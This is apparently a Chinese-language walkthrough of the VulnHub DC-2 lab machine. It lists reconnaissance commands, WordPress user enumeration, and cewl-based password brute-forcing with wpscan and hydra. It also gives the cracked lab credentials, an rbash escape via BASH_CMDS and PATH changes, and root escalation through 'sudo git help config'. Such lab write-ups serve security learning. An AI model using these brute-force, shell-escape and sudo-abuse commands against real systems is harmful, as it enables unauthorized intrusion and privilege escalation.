admin管理员组

文章数量:1530295

网络拓扑:攻击机KALI和靶机DC-2同在NAT模式下

信息收集

arp-scan扫描出靶机IP:arp-scan -l
得到靶机IP:192.168.65.136

nmap进行端口服务扫描:nmap -T4 -A -p 1-65535 192.168.65.136
靶机开放了http服务端口80,接下来可以浏览器中访问它。
还开放了ssh远程登陆服务端口7744

浏览器访问之前要注意,先在hosts文件(/etc/hosts)中给IP做出解析,要不然一直访问不了这个网站:

dirsearch进行网站路径爆破:dirsearch -u http://192.168.65.136
发现了几个可能是突破点的路径:

whatweb扫描网站,获取更多信息,例如版本信息等等:whatweb http://dc-2
又是wordpress模板并且版本信息为4.7.10

浏览器访问,发现flag1

给出了一点提示:让我们使用cewl生成字典进行密码爆破:

wpscan扫描出网站的用户名:wpscan --url http://dc-2 -e u
得到了三个用户名:admin、jerry、tom

再根据找到的用户名生成一个用户名字典:user.txt,待会会用到:

cewl生成密码字典fuck.txt:cewl http://dc-2 -w fuck.txt

两个字典都放到/root目录下

渗透过程

wpscan进行密码爆破:

wpscan --url http://dc-2 -U /root/user.txt -P /root/fuck.txt

得到了两个用户:

jerry/adipiscing
tom/parturient

登陆到用户jerry得到flag2

flag2提示我们从另一个方面切入,那就是ssh端口了

另一个用户tom没发现其他信息。
hydra破解ssh密码:

hydra -L /root/user.txt -P /root/fuck.txt 192.168.65.136 ssh -s 7744

发现这个账号和密码就是上面破解出来的账号和密码:tom/parturient

登陆ssh:ssh tom@192.168.65.136 -p 7744
发现登陆进去whoami、cd、cat命令都不能使用,交互式的shell也无法获取。

发现flag3.txt,但由于cat命令使用不了,暂时无法查看:

从大佬那里得知这是一个受限制的shell–rbash,如果受限制的话,shell只能使用一部分命令,所以先看看用户tom能使用哪些命令:echo /home/tom/usr/bin/*
发现可以使用vi命令查看文件:

flag3.txt的内容为:
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
受限制的用户tom,要我们转换到另一个用户jerry进行下一步操作。

所以接下来是想办法绕过这个受限制的shell,通过这篇博客学习到了绕过受限shell的方法:

BASH_CMDS[a]=/bin/sh;a  #把/bin/sh的值赋给变量a
/bin/bash  #执行这个命令脚本
echo $0  #查看脚本名称
echo $?  #查看命令执行反馈,返回0代表成功,返回其他数字表示不成功
export PATH=$PATH:/bin/  
export PATH=$PATH:/usr/bin   #给环境变量输出路径

执行完成上面这几个魔幻的命令之后,所有命令基本都可以执行了:

提权部分

随后切换到jerry用户,找到flag4.txt,提示使用git提权:
git提权命令参考了这篇博文。

首先sudo -l查看jerry账号权限信息:
这里得到信息无密码就可以使用git命令

然后输入sudo git help config,在弹出的页面中输入!/bin/bash,就可以得到root身份,完成提权:
然后找到root目录下的final-flag.txt,获得最后的flag

小结

这次的靶机渗透主要使用了绕过受限的shell和git命令提权,收获较多。

本文标签: 靶机命令DCvulnhubGit